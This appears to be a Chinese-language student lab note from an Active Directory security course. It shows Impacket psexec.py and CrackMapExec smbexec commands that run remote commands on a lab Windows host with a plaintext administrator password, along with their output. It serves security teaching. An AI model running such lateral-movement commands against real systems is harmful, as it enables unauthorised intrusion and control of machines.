NTUSTISC - AD Note - Lab(0x23遠端執行(RDP)2)

Lecture Video: 2022/05/11 AD 安全 2

Background

• NTUSTISC - AD Note - Lab(Password Spraying)
• 滲透測試的利器 - Impacket:

  python撰寫的內網滲透工具

Lab

遠端執行(RDP)2

• Kali-Linux Tools
  • Impacket(讓Kali-Linux愛好者也可以使用的PsExec)

    1 2 3 4 5 6 7 8 9 10

    # Set up & Install $ git clone https://github.com/fortra/impacket.git $ cd impacket $ conda activate py3.7 # Recommended to install it in conda $ pip3 install -r requirements.txt $ python3 setup.py install # Cheat-Sheet $ conda activate py3.7 $ proxychains psexec.py <username>:<password>@<ip> whoami

  • CrackMapExec

    1	$ crackmapexec smb [IP] -u <username> -p <password --exec-method smbexec -x '<command>'

    exec-method支援以下方法:

    • mmcexec
    • smbexec
    • wmiexec
    • atexec

How to use Impacket

感覺應該是proxychains壞掉了，或是有一些其他問題，導致Connection Refused，總而言之，這套工具就是讓kali-linux也可以使用psexec這個工具

1 2 3 4 5 6 7 8 9

$ proxychains psexec.py kuma\administrators:1qaz@WSX3edc@192.168.222.129 dir [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 [proxychains] DLL init: proxychains-ng 4.16 Impacket v0.12.0.dev1+20230928.173259.06217f05 - Copyright 2023 Fortra [proxychains] Strict chain ... 127.0.0.1:9050 ... timeout [-] [Errno Connection error (192.168.222.129:445)] [Errno 111] Connection refused

How to use CrackMapExec

還記的之前的Lab(NTUSTISC - AD Note - Lab(Password Spraying))，有使用過這套工具，當時是為了做密碼揮灑的目的，不過考慮到psexec這個工具本質上就是爬到遠端的主機，然後開execve的process，並且跟他溝通，所以在這樣的前提下，就可以直接用CrackMapExec達到和psexec一樣的效果，畢竟兩者本質是做的事情差不多

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

$ crackmapexec smb 192.168.222.129 -u administrator -p 1qaz@WSX3edc --exec-method smbexec -x 'dir C:\tools' SMB 192.168.222.129 445 DESKTOP-G95U93T [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-G95U93T) (domain:kuma.org) (signing:False) (SMBv1:False) SMB 192.168.222.129 445 DESKTOP-G95U93T [+] kuma.org\administrator:1qaz@WSX3edc (Pwn3d!) SMB 192.168.222.129 445 DESKTOP-G95U93T [+] Executed command via smbexec SMB 192.168.222.129 445 DESKTOP-G95U93T ║╧║╨░╧ C ññ¬║║╧║╨¿Sª│╝╨┼╥íC SMB 192.168.222.129 445 DESKTOP-G95U93T ║╧║╨░╧º╟╕╣: C230-62CE SMB 192.168.222.129 445 DESKTOP-G95U93T SMB 192.168.222.129 445 DESKTOP-G95U93T C:\tools ¬║Ñ╪┐² SMB 192.168.222.129 445 DESKTOP-G95U93T SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/09/17 ñUñ╚ 03:15 <DIR> . SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/09/17 ñUñ╚ 03:15 <DIR> .. SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/09/04 ñWñ╚ 12:57 <DIR> AccessChk SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/06/22 ñUñ╚ 02:58 1,379,216 accesschk.exe SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/08/28 ñUñ╚ 11:41 <DIR> BloodHound-master SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/08/27 ñWñ╚ 11:32 <DIR> BloodHound-win32-x64 SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/08/29 ñWñ╚ 01:24 <DIR> BloodHound-win32-x64-4.1.0 SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/09/29 ñWñ╚ 01:19 373,760 Certify.exe SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/09/29 ñUñ╚ 02:39 1,137,664 DNSAdmin-DLL.dll SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/09/04 ñWñ╚ 10:02 443,650 Invoke-NinjaCopy.ps1 SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/09/29 ñUñ╚ 04:50 <DIR> KDU-1.1.0 SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/09/17 ñUñ╚ 12:08 1,590 Kerberos-AS-REP.txt SMB 192.168.222.129 445 DESKTOP-G95U93T 2005/01/17 ñUñ╚ 05:23 22,528 KmdManager.exe SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/09/29 ñUñ╚ 04:50 <DIR> mimikatz_trunk SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/08/27 ñWñ╚ 11:31 <DIR> neo4j-community-4.3.4 SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/09/29 ñUñ╚ 04:51 <DIR> nopad SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/09/28 ñUñ╚ 11:09 27,136 PrintSpoofer64.exe SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/09/05 ñWñ╚ 11:51 <DIR> Procdump SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/09/29 ñUñ╚ 05:08 <DIR> ProcessExplorer SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/09/29 ñUñ╚ 05:08 <DIR> PSTools SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/09/29 ñWñ╚ 12:27 301,056 Rubeus.exe SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/09/04 ñUñ╚ 11:33 <DIR> Sysmon SMB 192.168.222.129 445 DESKTOP-G95U93T 2021/09/29 ñUñ╚ 04:50 <DIR> Windows-Kernel-Explorer-master SMB 192.168.222.129 445 DESKTOP-G95U93T 2023/09/06 ñWñ╚ 11:12 <DIR> Zip Folders SMB 192.168.222.129 445 DESKTOP-G95U93T 8 ¡╙└╔«╫ 3,686,600 ª∞ñ╕▓╒ SMB 192.168.222.129 445 DESKTOP-G95U93T 16 ¡╙Ñ╪┐² 16,192,659,456 ª∞ñ╕▓╒ÑiÑ╬